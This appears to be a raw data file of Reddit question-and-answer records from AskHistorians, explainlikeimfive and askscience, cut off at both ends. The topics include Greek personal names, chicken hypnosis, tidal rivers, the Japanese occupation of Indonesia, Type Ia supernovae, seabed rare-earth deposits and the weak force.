'defender of men', *Sophocles* from  \u03c3\u03bf\u03c6\u03cc\u03c2 (soph\u00f3s, \u201cclever\u201d) +\u200e -\u03ba\u03bb\u1fc6\u03c2 (-kl\u00eas, \u201cglory, fame\u201d) etc.\n* **Theophoric names**: Names that included either \u03b8\u03b5\u03cc\u03c2 (the\u00f3s, \u201cgod\u201d) as part of their scheme or names of the Greek deities. For example, *Theodoros* means 'gift of god', while *Demetrios* comes from Demeter, the goddess of harvest and agriculture, itself literally meaning 'earth mother', however context matters, Demetrios is a male name (Demetria is feminine), it's not likely he was named 'earth mother', rather he was named after the goddess. \n\nBut we also have:\n\n* **Shortened names**: Compound names and theophoric names had their shortened forms, just like names today have, Phil in English, for example. \n* **Single-meaning names**: Names with a single meaning that probably originated as nicknames first, then that's the name they became known with. \u1f4d\u03bc\u03b7\u03c1\u03bf\u03c2 *Homer* means 'hostage'. \n* **Inherited names**: Names that do not have a translation in Greek and are presumed to come from other languages Ancient Greeks came in contact with, usually taken to be Minoan, Luwian (the language Trojans presumably spoke, which is controversial in itself), Hittite, Phrygian etc. They might have also been the source of some Greek suffixes and prefixes. \n\nI had to mention all this first before addressing your question:\n\n* **Hercules**: is the Roman form of Greek \u1f29\u03c1\u03b1\u03ba\u03bb\u1fc6\u03c2, H\u0113rakl\u0113s, which translates into \"Glory of Hera\" making it a theophoric name, however his birth name was \u1f08\u03bb\u03ba\u03b1\u1fd6\u03bf\u03c2 Alka\u00eeos from  \u1f00\u03bb\u03ba\u03ae (alk\u1e17, \u201cstrength\u201d) +\u200e suffix -\u03b1\u1fd6\u03bf\u03c2 (-a\u00eeos). He was renamed to please Hera. It's a plausible Greek name (both of them are), but we are not sure if it was used before Archaic Greek period, because we don't have sufficient data. Still, it is possible. The name however became more common later in the Roman Empire.\n* **Icarus**: Roman form of Greek \u1f3c\u03ba\u03b1\u03c1\u03bf\u03c2 *Ikaros*, earlier *\u03dc\u03af\u03ba\u03b1\u03c1\u03bf\u03c2 *Wikaros*, a name with uncertain etymology. It most likely comes from another language, so not used among Greeks. \n* **Midas**: A Phrygian king, and a non-Greek name as well. Perhaps it was common among Phrygians, but definitely not Greeks.  \n* **Narcissus**: Roman form of Greek \u039d\u03ac\u03c1\u03ba\u03b9\u03c3\u03c3\u03bf\u03c2, N\u00e1rkissos. It's not a Greek name either, especially not with that -issos suffix. The double -ss-, according to Beekes, was perhaps originally pronounced something like *ts which is not native to Greek phonology. The name is used for a flower, and Pliny the Elder said that the plant was named for its fragrance (\u03bd\u03b1\u03c1\u03ba\u03ac\u03c9 narkao, \"I grow numb\").\n* **Odysseus**: has also a Roman form *Ulysses*, and other forms where you see the d/l variation, which is important because it points at a pre-Greek origin (usually taken to be Minoan). The l/d variation occurs in words of pre-Greek origin, for example *labyrinthos*/*dapurintos* 'labyrinth, maze'  <  presumably from *labrys* 'double-sided axe', an important symbol found in Minoan frescoes (how it came to mean 'labyrinth' is a question in itself, it is hotly debated). It also has -ss- which as explained in the entry for Narcissus, it was probably pronounced *ts, a phoneme not native to Greek, that Greeks tried to approximate. That said, ancient authors have connected his name with *odussomai* (\u1f40\u03b4\u03cd\u03c3\u03c3\u03bf\u03bc\u03b1\u03b9) \u201cto be wroth against, to hate\u201d, which follows the same theme-naming as **Achilles**, itself a compound name made up of \u1f04\u03c7\u03bf\u03c2 (\u00e1khos) \"distress, pain, sorrow, grief\" + \u03bb\u03b1\u03cc\u03c2 (la\u00f3s) \"people, soldiers, nation\", and while not common in Classical era, it did exist in Mycenaean era, it was recorded twice in Linear B as *a-ki-re-u* and *a-ki-re-we* (dative form). **Menelaos** follows the same theme-naming, from \u03bc\u03ad\u03bd\u03bf\u03c2 \"vigor, rage, power\" + \u03bb\u03b1\u03cc\u03c2 \"people,\" \"wrath of the people\", though the name itself is not recorded in Linear B tablets, it is however, plausible. \n\nWe do have three legendary names recorded in not Greek, but Hittite tablets:\n\n* *Attarsiya*: presumed to be the Hittite form of **Atreus**, father of Agamemnon and Menelaus, from \u1f00-, \"no\" + \u03c4\u03c1\u03ad\u03c9, \"tremble\", meaning \"fearless\"\n* *Akagamunas*: presumed to be the Hittite form of **Agamemnon**, from \u1f04\u03b3\u03b1\u03bd, \"very much\" + \u03bc\u03ad\u03b4\u03bf\u03bc\u03b1\u03b9, \"think on\", meaning something like \"very steadfast\"\n* *Tawagalawa*: presumed to be the Hittite form of **Eteocles** (back when it used to be pronounced *Etewoklewes), meaning \"truly glorious\", note the -kles in Herakles too. \n\n**TL,DR**: Some of them yes, some of them were plausible even though not recorded, some of them were non-Greek names so unlikely to have been used by Greeks, some were created later to explain unclear etymologies to Classical Greeks, but were unlikely to be used in real life.\n\n---\nSources\n\n1. [Naming Practices, Lexicon of Greek personal names](_URL_0_), Oxford University\n2. Eric H. Cline, \"1177 B.C.: The Year Civilization Collapsed\"\n3. R. S. P . Beekes, \"Pre-Greek, a language reconstructed\"\n4. R. S. P . Beekes, \"Pre-Greek: Phonology, Morphology, Lexicon\",\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "http://twitter.com/askhistorians", "https://www.reddit.com/r/AskHistorians/wiki/bestof", "https://imgur.com/a/kz5c0", "https://www.facebook.com/askhistorians/"], [], ["https://www.britac.ac.uk/pubs/proc/volumes/pba104.html", "https://www.britac.ac.uk/pubs/proc/files/104p053.pdf", "http://www.lgpn.ox.ac.uk/publications/index.html"], ["http://www.lgpn.ox.ac.uk/"], ["http://www.lgpn.ox.ac.uk/names/practices.html"]]}
{"q_id": "fu81jc", "title": "why do chickens fall under hypnosis by simply drawing a line in front of them?", "selftext": "I have seen a chicken become apparently hypnotised by drawing a straight line in front of their eyes at close proximity. Always wondered why.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fu81jc/eli5_why_do_chickens_fall_under_hypnosis_by/", "answers": {"a_id": ["fmbisuh", "fmbyx5q", "fmc5cqm", "fmcdg6o", "fmdcl8x", "fmdz3ie"], "score": [187, 145, 12, 12, 4, 2], "text": ["Snakes eat chickens. Snakes look like lines. Snakes don't like dead things. \n\nIf you had a hundred chickens play dead in front of a snake, and a hundred chickens try to run or fight a snake, there would be more play dead chickens alive than the others.", "From a quick Google search that lead to a Smithsonian Magazine article \" Tonic immobility\u00a0is what researchers call\u00a0\"a  fear-potentiated response\u201d to being restrained. In other words, the  chicken (or any other animal that exhibits this response) is convinced  that it is going to die and goes into a kind of cationic state.  According to Beredimas, farmers have known about this trick at least  since 1646, when Athanasius Kircher published\u00a0*\"Mirabile Experimentum de Imaginatione Gallinae.\u201d*\u00a0The  reaction seems to be most commonly reported in domesticated birds like  chickens and quail, but other species seem to demonstrate tonic  immobility as well. [One study from 1928](_URL_2_) looked at the response in lizards. [Another watched the brains of rabbits](_URL_0_) during movement, rest, sleep and tonic immobility. \"\n\n & #x200B;\n\nArrabiata Sauce: [_URL_1_](_URL_1_)", "Had no idea this was a thing until after watching some videos.\n\n[_URL_0_](_URL_0_)", "Also, if you turn a chicken upside down, it falls asleep. Easier to butcher. Chickens eat mice, too. Fast chickens, that is.", "I've seen this work by making repeated circular gestures around the chicken's face as well.  When I announce that I'm going to hypnotize a chicken as a stunt (this is rare but it happens), I make a series of five to ten circles with my index finger in front of the chicken's face of a width just slightly larger than it's head before using that finger to draw the imaginary line starting right in front of it's face and moving away from the chicken.  I've experimented a bit and found that this method has the highest rate of success.  I know this isn't an answer to your question but I hope it helps further this chicken hypnosis discussion in some way.", "How about i just quench the sexual thirst of every woman in here? boom"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencedirect.com/science/article/pii/0031938471902356", "https://www.smithsonianmag.com/smart-news/can-you-hypnotize-chicken-180949940/", "http://jgp.rupress.org/content/11/6/715.abstract"], ["https://www.youtube.com/watch?v=DWfb7xToLUQ"], [], [], []]}
{"q_id": "41nckt", "title": "Local river (described as tidal) completely reverses its flow multiple times a day. How does this happen?", "selftext": "Exactly at the post said, I had people giving me the answer that it is tidal (it does run into the sea), but I haven't found anything on the interweb or Google scholar etc about rivers that reverse current so often. \n\nIt would be flowing one direction in the morning, hit a lul of no movement a couple hours later, then start to flow back the reverse way from before. Weird right?\n\nLocation: Glenworth valley, NSW, Australia\n\nWould really like to know, thanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/41nckt/local_river_described_as_tidal_completely/", "answers": {"a_id": ["cz42j7p"], "score": [13], "text": ["That sort of is what a tidal river means. When the tide goes up, the water level in the river increases and seawater flows into the channel going up stream. Things grind to a halt at highest and lowest tide, and then reverse when the tide goes down. Typically, the water in the estuary is brackish (saltier that freshwater, but not quite as salty as seawater), although it might be stratified as well.\n\nI live of the shore of a quite large river with tidal influences (the St-Lawrence river), and there is nothing subtle about it, especially in winter. The ice floes move to the South-west on the rising tide, and resume their path to the sea (to the north-east) as the tide falls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22b554", "title": "Could we x-ray Jupiter?", "selftext": "By coordinating the obits of two devices set on opposite sides of Jupiter, could we beam and receive transmissions to determine the internal structure of the gas giant?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22b554/could_we_xray_jupiter/", "answers": {"a_id": ["cgl7x3j"], "score": [4], "text": ["In any practical sense: this is impossible. \n\nBy transmitting energy through an object your *can* determine its structure and composition. But in the case of Jupiter X-rays do not have the energy to pass through without interacting with it and being absorbed. *Perhaps* high energy particles or neutrinos could be used for the effect, but to be honest high energy particles isn't my field, X-rays are. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cb630", "title": "How far back in history can theme parks trace their roots to?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cb630/how_far_back_in_history_can_theme_parks_trace/", "answers": {"a_id": ["cjejd66"], "score": [2], "text": ["Amusement parks have been dated as far back as the 1500s. [Bakken](_URL_0_) opened in 1583 when large crowds gathered around a newly found natural spring (pure water was a rare thing). The large crowds attracted venders and entertainers, who set up shop near the stream. \n\nOf course, an amusement park, like Bakken, Tivoli Gardens, and Coney Island, are much different than a theme park. An amusement park has many themes, varying widely from attraction to attraction. A theme park attempts continuity with its storyline and keeps either a single theme or several themes in demarcated areas. \n\nWhile many claim Disneyland as the original theme park, I would have to disagree and give the title to Knott's Berry Farm. Walter Knott, after incredible success with his chicken dinner restaurant, set up Old Western themed attractions (including stores, buildings, and a haunted town) to entertain guests. He wanted to put guests in a setting where they could envision themselves in the Old West and enjoy related activities. Walt Disney, a friend of Knott's, visited Knott's Berry Farm many times for inspiration for his own California Theme park. It could be argued, however, that since Knott did not charge admission until 1968 that Walt Disney created the first enclosed theme park in America. \n\nFurther Reading:\n\nWalter Knott: Twentieth Century pioneer by Norman E. Nygaard\n\nVariations on a Theme Park: the New American City and the End of Public Space by Michael Sorkin\n\nMagic Lands: Wester Cityscapes and American Culture after 1940 by John Findlay\n\nAre We There Yet?: the Golden Age of American Family Vacations by Susan Rugh"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bakken.dk/english/item/552-the-history-of-bakken"]]}
{"q_id": "2rt598", "title": "What was life like for the local population during the Japanese occupation of Indonesia?", "selftext": "My only real exposure is from brief coverage by Dower in \"War Without Mercy\". The picture painted there is of an occupying force that came in preaching pan-Asianism, and initially even offering improvement, but quickly falling into a racial superiority complex and lording over the local population as inferior children. I'd love to know more specifics though.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2rt598/what_was_life_like_for_the_local_population/", "answers": {"a_id": ["cnjaeta"], "score": [8], "text": ["I have never heard about that book, but it is correct. Japan came when the people of Indonesia was suffering under Dutch, so at first their arrival and subsequent chasing out of the Dutch was welcomed as if they were Gods. \n\nOn 9 March 1942, lieutenant general Ter Porten signed a declaration of (submission? surrender? ^not ^sure ^of ^the ^English ^term) to lieutenant Hitoshi Imamura in Kalijati, Subang, West Java. The declaration brought about a brand new era of... revoltingly worse colonialism. \n\nAt first, Japan seemingly offered the protection that Indonesians so much craved for. Here's the list of their propaganda at the time: \n\n- Gerakan 3A (3A movement). [Here's the propaganda poster at the time](_URL_0_). Basically Japan promoted itself as the Light of Asia, Protector of Asia, and Leader of Asia (hence the three A). [Here's another poster example.](_URL_3_)\n\n- Named itself as Indonesian's old sibling. \n\n- Japan came to free Indonesians from the evil *tuan kumpeni*. \n\n- Formed the PUTERA Organization. \n\n- Japan formed many troops such as Youth Troops and Homeland Protector Forces under pretense of teaching Indonesians military, but in reality used the troops to wage war for Japan. \n\nThe 3A Movement was led by an Indonesian named Syamsudin KH. It was not very effective after a while, which led to its dissolution at 1943. To replace the old movement, Japan formed the Pusat Tenaga Rakyat Org or abbreviated as PUTERA (People's Power Force), led by the Big Fou which were Soekarno (first president of Indonesia), Mohammad Hatta (first vice president of Indonesia), Ki Hajar Dewantara (the education figure who opened free school for Indonesians), and Kyai rHaji Mas Mansyur (the leader of Islamic organization Muhammadiyah). Ironically, the forming of PUTERA later backfired because Bung Karno used the organization to gather nasionalists and plan for independence. \n\nDuring the Pacific War, Japan formed many troops in Indonesia under pretense that they would teach Indonesians military and war strategy to protect the country from further West colonialism such as: \n\n- Seinendan (Youth Troops) \n\n- Heiho (Japan Military Helper Troops) \n\n- PETA (Homeland Protector Forces)\n\n- Fujinkai (Woman Troops) \n\n- Gakutosai (Student Troops)\n\n- Keibodan (Police Helper Troops) \n\n- Jibakutai (Suicide Troops) \n\n- Kempetai (Secret Police Forces) \n\nThese troops were used by Japanese to fight the Pacific War as well as to keep Indonesians in check, especially Soekarno and Hatta who slowly but surely revealed themselves as dangerous foes, which led to Soekarno's banishment to Rengasdengklok. (Although Soekarno was protected by PETA during this time. The plan for declaration of independence was created during this time.) \n\nWhen all propaganda more or less became rather ineffective, Japan started their true mission.\n\nFirst was the rules that Indonesians had to do Seikerei (saluting Japan Emperor by bowing towards the rising sun) every morning before prayer. Given that at the time most of Indonesia was Muslims, this act was considered as worshipping another entity aside from Allah. This rule resulted in several rebellions led by Kyai Haji Sainal Mustafa in West Java which lasted a year from 1943 - 1944. (KH Zainal Mustafa was arrested and executed, he was buried in Ancol area, Jakarta)\n\nSecond, Japan created romusha (corvee labor). Millions of romusha forces were sent to force labor camps around Indonesia and Japan's other colonies, but the most well-documented (in Indonesia, at least) was the forced labor camps around Sumatra, mainly used to clear the thick forests and build railways. So many romusha's lives perished during the feat which earned the railways its notorious title 'The Deathly Railways'. Romushas were recruited by luring youths that they would be either educated or enlisted to Heiho / Gakutosai / Seinendan. Starting from 1943 though, Japan issued a new rule that necessitated farmers to serve as romusha for a period of time similar to conscription.\n\nOne of the former romusha able to live until modern days was Suratman, who came from Wonosobo, Central Java. At eighteen, he was recruited by the Japanese. He was promised to be educated in a special Japanese school, but instead was sent to West Sumatra to build the railways from Padang to Pekanbaru, Riau Province. \n\nEquipped only with minimal supplies, the romushas were force to clear forests and scrape the many rock hills dotting Sumatra's landscape. During the process many romushas died from untreated disease, malnutrition, or accidents during work. Food for romushas were only a fistful of rice flavored with salt and nothing more for a day. The clothes they wore were made from burlap sacks and tree barks, and it had to be worn until it resembled clothes no more before being replaced another burlap sack shirt. \n\nIf a romusha fell sick, he had to find for medicine himself. Any other romusha who helped the sick romusha looking for medicine was punished by beating. Romushas who seemingly worked less than the others or tried to escape but failed were tortured and executed in front of the other romushas as a warning. \n\nThe book The Sumatra Railroad even stated that 80% of the romushas perished during 1943 - 1945. \n\nNot only Indonesians were made romushas, though. Data collected by George Duffy stated that about four thousands Dutch war captives, a thousand English soldiers, two hundreds Australians and fifteen Americans were also worked as romusha. From this amount, about seven hundred perished due to untreated disease. Sumatra at the time was a vast and virgin jungle who hid all sorts of maladious disease and plague within its thick foliage after all. \n\n[There's a video about him who told of his experience, unfortunately it is in Indonesian.](_URL_1_)\n\n[A picture of young romushas.](_URL_2_)\n\nFun fact: a romusha story from the building of Burma - Thailand railroad was screened as The Bridge of River Kwai. Although happened in another country, the experience was similar. \n\nThe romusha suffering prompted other rebellions, especially from Indramayu, West Java, led by Haji Madriyan. The rebellions were easily subdued, and for punishment, everyone involved in the rebellions were publicly tortured for warnings. \n\nThirdly, Japan necessitated every farmer to submit most of the crops mainly rice, corn, and cattle to Japan, leaving the farmers impoverished and unable to provide food for their families. Farmers were also obliged to plant castor oil plant (Jathropa) to be used as weaponry lubricants. \n\nFourthly, Indonesian girls were forcefully taken from their homes and families to be employed as comfort women (or rape dolls as we name it). Indonesians, if you ever read this comment, you have to read the book Perawan Remaja Dalam Cengkeraman Militer by Pramoedya AT. It is a horrifying, nauseating story comparable to the Rape of Nanking by Iris Chang. \n\nDuring 1942 - 1945, Girls were taken forcefully or tricked into believing that they would be educated in Tokyo while in reality they were shipped to the various comfort houses to satisfy Japanese soldiers' lust. Those forcefully taken were raped in front of their family before being spirited away. Pregnant girls were forced to do abortion, while those who fell ill were let to die without care. Many died from suicide, torture, or disease. After Japan's surrender in 1945, these girls were abandoned in their posts. The author of the book traced the remnants of Javanese comfort women in Buru island, where girls who were abandoned after the war had no choice other than becoming prostitutes. \n\nFifthly, the notorious Unit 731, whose victims weren't only Indonesians. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://1.bp.blogspot.com/-uUAXRdk6D5w/TgI3kforL4I/AAAAAAAAAFI/hPmgEwSSypo/s640/nippon+3.jpg", "https://www.youtube,com/watch?v=CQRjqSRml30", "http://sejarahbudayanusantara.weebly.com/uploads/1/4/2/9/14296470/2091005_orig.jpg", "http://s446.photobucket.com/user/pervert_muthafuka/media/Propaganda%20Posters/AAA.jpg.html"]]}
{"q_id": "77frr3", "title": "How sure are we that Type 1a supernovas are 'standard candles'?", "selftext": "[This article on _URL_1_](_URL_0_) indicates that there's some growing discrepancy between the Hubble Constant as measured using cosmic distances and the Hubble Constant as measured using the CMB. They talk about the Chandrasekar limit and how it produces Type 1a supernovas of approximately equal illumination, allowing us to use them as 'standard candles' for measuring those cosmic distances.\n\nCould this situation be resolved by introducing some sort of \"error\" into the Type 1a supernova brightness? In other words, does the problem go away if the brightness (and therefore distance) is not assumed to be X, but X +/- 10%? If so, are there candidates for that sort of error?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/77frr3/how_sure_are_we_that_type_1a_supernovas_are/", "answers": {"a_id": ["dollncc", "dom0qow"], "score": [17, 10], "text": ["First off, what you're referring to is chandrashekar *mass*, not limit.\n\n\n\nWhite dwarfs are responsible for 1a supernovae. They essentially leech off a star it's in orbit with until it gets heavy enough to go supernova. This means that the supernova always occurs at the chandrashekar mass, which means all 1a supernovae have roughly the same luminosity. \n\n\n\n\nSince they all have the same luminosity, if you have two 1a supernova at different distances, you can tell which is further away based on which appears to be dimmer. You don't have to worry that the dimmer appearing one is just a dimmer supernova because both supernovae  have the same luminosity.", "There *is*, in fact, some uncertainty in the Chandrasekar mass, actually.  Well, not so much uncertainty in the mass itself, but uncertainty in the mass of the Type 1a supernovae at the time they blow up because the Chandrasekar mass is a number that applies to a **non-rotating** white dwarf.\n\nIf you get a non-rotating white dwarf with a giant sibling that is getting it's lighter elements (H  &  He) siphoned off and it's approaching the Chandrasekar mass, then yes, it will go off at exactly the Chandrasekar mass.  But if it's rotating fast enough -- and these white dwarfs can end up rotating really fast -- then it holds off ignition.  I've not found anybody who cites *by how much*, however.\n\nAlso, it's not impossible to have a second type of 1a that exceeds the Chandrasekar mass, and by as much as just under double!  You just need the merger of two white dwarfs which are both below the limit.\n\nHowever, for all these cases there are clear signatures that warn us that we're looking at an abberation.  Too much luminosity, too little velocity from the ejecta, all combined with the signature spectral shape of a 1a that tells us unequivocally it's a Type 1a, only one that's too massive.  So you probably can't expect many tens of % of error to be introduced \n\nAlso, keep in mind type 1a's are no longer the gold standard for measuring distance.  Nowadays Cepheid variables are used as \"galactic standard candles\" as well."]}, "title_urls": [], "selftext_urls": ["https://www.space.com/38496-hunt-for-hubble-constant-standard-model.html", "space.com"], "answers_urls": [[], []]}
{"q_id": "8cqw91", "title": "How was the newly found huge Japanese \"rare earths\" deposit formed?", "selftext": "[Link to the story](_URL_0_)\n\nSo the higher elements are formed inside Super Novae and then spewed out into the galaxy where they mix with other clouds of matter that eventually became our solar system and planet. So they have been around for billions of years before and billions of years since becoming part of the Earth. But why are they so dense in just this one area and why are they in the form of mud?\n\nAlso, how likely is it that there are many more of these yet to be discovered?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8cqw91/how_was_the_newly_found_huge_japanese_rare_earths/", "answers": {"a_id": ["dxhauhy", "dxhdv81", "dxhijcu", "dxhli9i", "dxhtxdu", "dxi0tgc", "dxi77ik"], "score": [902, 121, 40, 62, 5, 3, 7], "text": ["Rare earths are really difficult to separate from other elements, they aren't actually particularly rare.\n\nMost of the more concentrated rare earths to come to the surface likely came via volcanos, which in the ocean likely resulted in a lot of dust laced with the stuff that just got carried off by currents (as opposed to the harder-to-process solid rock found on the surface without the constant abrasive effects of the ocean.)\n\nJapan only surveyed their exclusive economic zone and found a lot, so chances are similar deposits coat the ocean floor.", "My understanding is the rare earth elements here come from hydrothermal vents and volcanic activity under water. Once they have entered the sea water they are then absorbed by biogenic calcium phosphates, which are minerals precipitated by various marine organisms. These minerals accumulate on the ocean floor with other deep sea muddy sediment. The reason they are in such high concentration here is likely due to the proximity to hydrothermal activity and comparatively low sedimentation rates of non REE-bearing sediments. ", "Just want to point out that 'rare earths' are not, strictly speaking, 'rare'. Cesium, for example, is more common than copper, and we seem to have lots of that. However, the rare earths are hard to separate from other materials, and don't occur in 'veins' the way other metals sometimes do, so they were hard to identify before modern technology was available. ", "Others have addressed the formation issue (they've left out the possibility of bioacculumation, but that's another topic)\n\nI'd like to point out that this is far from a \"new\" discovery.\n\nI've copied [my comment from a few days ago](_URL_1_) when this came up in a different sub.\n\n > They used to say similar things about the manganese nodules found all over the ocean floor, sometimes in high concentrations.  Those also include [large amounts of nickel, copper, titanium, cobalt, and more](_URL_2_), often in much higher concentration than in any terrestrial ore supply.\n\n > In fact this \"new\" find looks like it's in an area that's been know to have high concentrations of metals for decades (compare the maps) and this article is a mainly a refinement of earlier work.\n\n > The nodules are much easier to harvest than the mud this article refers to, but despite people having been working on it since the 1970s no economically feasible method has been developed.\n\n > That's entirely leaving out the environmental impacts of strip-mining the ocean floor.\n\nIn short, we've known about large mineral deposits on the ocean floor both in mud and in hard nodules for a long time.  We've known about them in that particular area for quite a while as well.  The linked article includes a map and you can see just how widespread these deposits are, they're basically global in extent, not just in that one area.\n\nRegarding this particular deposit, it's [unlikely to be mined or accessed any time in the foreseeable future](_URL_0_).\n\n > To access the rare earths at site 1222, for instance, would require pulling up the top 70 meters of seafloor sediment, filtering out the water content, removing the valuable rare earths (which make up less than one part per thousand of the sediment) and returning the rest of the material to the seabed.\n\n > Such an undertaking would require new technology, a long permitting process\u2014and, of course, a lot of money. So there would have to be a significant economic incentive to access the seafloor resource. \"That's why I'm not sure the rare earth elements are enough in themselves to provide that,\" says James Hein, a geologist at the U.S. Geological Survey in Menlo Park, Calif. After all, the global rare earth market is relatively small\u2014it currently runs about $2 billion to $3 billion annually, according to a recent report from Ernst  &  Young, whereas the markets for metals such as copper are dozens of times larger. \"I'll be surprised, really, if this gets much attention as a resource potential in the near term,\" Hein says. \"The grades really are just not very high, and the environmental issues will just be so great.\"\n\n > At depths of 4,000 to 5,000 meters, seafloor ecosystems are not well understood, nor are the potential impacts of large-scale dredging on those ecosystems. \"Essentially, this would be a strip-mining operation where they would be sucking up lots of sediments from the seafloor over large areas,\" says Craig Smith, a professor of oceanography at the University of Hawaii at Manoa, \"which would of course destroy the communities that reside there.\" Those ecosystems, to the extent that they have been explored, have low biomass but high biodiversity. And, having taken hold in a stable environment, they are not adapted to large-scale disturbances.\n\n > \"Four thousand meters in the deep ocean is a long way down, and we don't know how to mitigate against significant environmental impacts or how to restore the ecosystem, if you can even restore the ecosystem,\" says Cindy Van Dover, an oceanographer at Duke University. \"We don't understand a lot about what is going on down there from an ecological standpoint.\"\n\n > Many of the sites sampled by the Japanese researchers are in international waters and would fall under the jurisdiction of the International Seabed Authority, based in Jamaica, which means any mining concern looking to extract seafloor rare earths would likely face a long regulatory process. \"Doing things there is a very slow and considered process,\" Van Dover says. \"Things don't happen overnight in international waters.\"\n\nAnd that's not addressing the major environmental issues at stake.\n", "Most heavier elements come to be because first generation stars tend to be very massive due to the abundance of hydrogen in the early universe. These stars go supernova and produce heavy elements that are spewed out. These elements get mixed in with leftover hydrogen and produce later generation stars. The protoplanetary discs from those stars form planets with deposits of heavier metals. Then geologic processes form deposits of said heavy elements and metals. Our solar system is a second or third generation star system seeded with heavier elements from the earlier generations of stars. ", "To add something new that not many people have pointed out, some of these \"newly discovered\" deposits aren't actually really \"new\". Allot of the times. People stockpile harvesting locations and just use them as the need arises. I think they found this one back in 2013. \n\nConsidering the political-economic climate right now and the apparent uses of what this deposit are, I wouldn't be surprised if they start selling it to the states..since they get allot of that stuff from China right now", "Through the processes of supergene enrichment. \n\n_URL_0_\n\nNot unexpected in a volcanic and seismically active area; part and parcel related to the Japan Trench, where all sorts of geologically strange, bizarre and unexpected events transpire. Such as REE-laden asaphane (and juvenile) groundwaters circulate through the back-arc basinal muddy carbonate sediments, and through the magic of ReDox aqueous thermogeochemistry, some elements are concentrated whilst other become or remain mobile.   \n\n"]}, "title_urls": [], "selftext_urls": ["https://www.cnn.com/2018/04/16/asia/japan-rare-earth-metals-find-china-economy-trnd/index.html"], "answers_urls": [[], [], [], ["https://www.scientificamerican.com/article/rare-earth-elements-ocean/", "https://www.reddit.com/r/EverythingScience/comments/8bwvea/a_massive_semiinfinite_trove_of_rareearth_metals/dxajh5s/", "https://worldoceanreview.com/en/wor-3/mineral-resources/manganese-nodules/"], [], [], ["https://en.wikipedia.org/wiki/Supergene_(geology)"]]}
{"q_id": "c2fz37", "title": "Gravity attracts particles with mass, electromagnetism with electric charge and the strong force with color charge. What is the weak force's charge?", "selftext": "Edit: Wikipedia says that the weak force can scatter neutrinos off electrons via Z boson exchange without changing flavor for any of the particles, only changing momentum. What charge is responsible for this, what other examples are there of momentum changing-only weak interactions, and are they always repulsive or can they be attractive?\n\nEdit 2: Thanks to everyone who answered. I think I found the name for the type of interactions I meant, they're called [neutral current](_URL_0_) interactions, but it's still unclear how the weak isospin and hypercharge some mentioned in the comments relate to the strength and attractivity of the interaction.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c2fz37/gravity_attracts_particles_with_mass/", "answers": {"a_id": ["erk2x5r", "erk8fj1", "erk8ob0", "erkbhci", "erkflrp"], "score": [6, 218, 4, 14, 21], "text": ["The weak force uses the W+, W\u2212, and Z bosons as it's force carriers. The weak force is between quarks and they exchange these bosons to interact. As a force it has a very short range force, diameter of a proton, and it is the one that allows the quarks to change flavor.", "I think you need to think about it a little different.\n\nAs you pointed out, there are 4 types of interactions (forces) that we know of.  Two particles with mass are attracted to one another by the gravitational force.  In quantum field theory (the mathematical theory behind the standard model), we think this force is mediated by a particle known as the graviton (which we haven't found yet).  This might be bad language, but I like to think that gravity acts on mass and energy.  It affects all particles that have mass.\n\n & #x200B;\n\nLikewise, the electromagnetic force acts on electric charge.  It affects all particles that have electric charge.  The force is mediated by the photon.\n\n & #x200B;\n\nThe strong force acts on color charge.  It affects quarks.  The force is mediated by gluons.\n\n & #x200B;\n\nThe weak force acts on something called flavour.  It affects all left-handed fermions. The force is mediated by the W+, W-, and Z bozons.\n\nWiki link to flavour: [_URL_1_](_URL_0_)\n\n & #x200B;\n\ntldr;  The weak force acts on flavour.  It isn't a charge, but I think it is the answer you are looking for.\n\n & #x200B;\n\nEdit:  Thanks for the silver!!", "I'm not a particle physicist so I'm prepared to be wrong but I believe the closest analog to charge, mass, or color for the weak force is flavor. Flavor simply refers to the type of particle in question, whether it is one of the six flavors of quarks or one of the six flavors of leptons. To equate it with quantum electrodynamics (electromagnetism) and quantum chromodynamics (strong force, color charge), the weak force could be said to be modeled by quantum flavordyamics, though it is usually just included in electroweak theory, the unification of electromagnetism and the weak force.\n\nThe weak force is pretty different from the other three fundamental forces. It is the only force that can change the flavor of a particle, which is very important for any process that requires, for example, a proton turn into a neutron or vice versa. Unlike the other forces, the weak force does not create bound states.", "The short answer:\n\nIt is a group of properties including charge, isospin, baryon number, and lepton number that are collectively called [flavor](_URL_0_).\n\nThe long answer:\n\nThere's a temptation to take our intuition for gravity and EM and try to use it to make an analogy to the strong force and the weak force. Unfortunately there isn't a simple 1:1 way to map these concepts like that. A big problem is that with the weak and strong interactions the force carriers or messenger particles also carry away other stuff, like color charge or isospin. This is (partly) why we have moved to describing them as *interactions* instead of *forces*.\n\nA better place to start from is to look at simple Feynman diagrams that describe some facet of each interaction. Let me try and draw a simple general case ascii version:\n\n    P2\n       \\\n        \\  _ _ _ _ _ B\n        /\n       /\n    P1\n\nHere time flows from the bottom to the top of the diagram, we have two generic particles P1 and P2, and we have a messenger particle B that is a boson.\n\n\\*For gravity, a particle P1 with mass can emit a boson B (graviton) and it carries away some momentum, but the particle is otherwise unchanged. (P1=P2)\n\n\\*For EM, a particle P1with charge emits a boson B (photon) and it carries away some momentum, but the particle is otherwise unchanged. (P1=P2)\n\n\\*For the strong interaction, a particle P1 with color charge can emit a boson B (gluon) and it caries away both momentum and color charge (because the gluon also has color charge). So now we also have transformed the quark to a new color. P1 is not the same as P2.\n\n\\*For the weak interaction, a particle P1 (e.g. a down quark) with a particular *isospin* can emit a boson (e.g. a 